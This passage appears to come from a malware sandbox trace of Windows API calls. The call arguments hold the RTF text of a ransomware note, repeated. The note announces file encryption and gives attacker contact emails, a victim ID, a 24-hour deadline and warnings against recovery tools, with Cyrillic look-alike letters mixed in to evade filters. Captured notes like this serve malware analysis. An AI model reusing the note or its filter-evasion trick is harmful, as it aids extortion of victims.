ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0035.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T 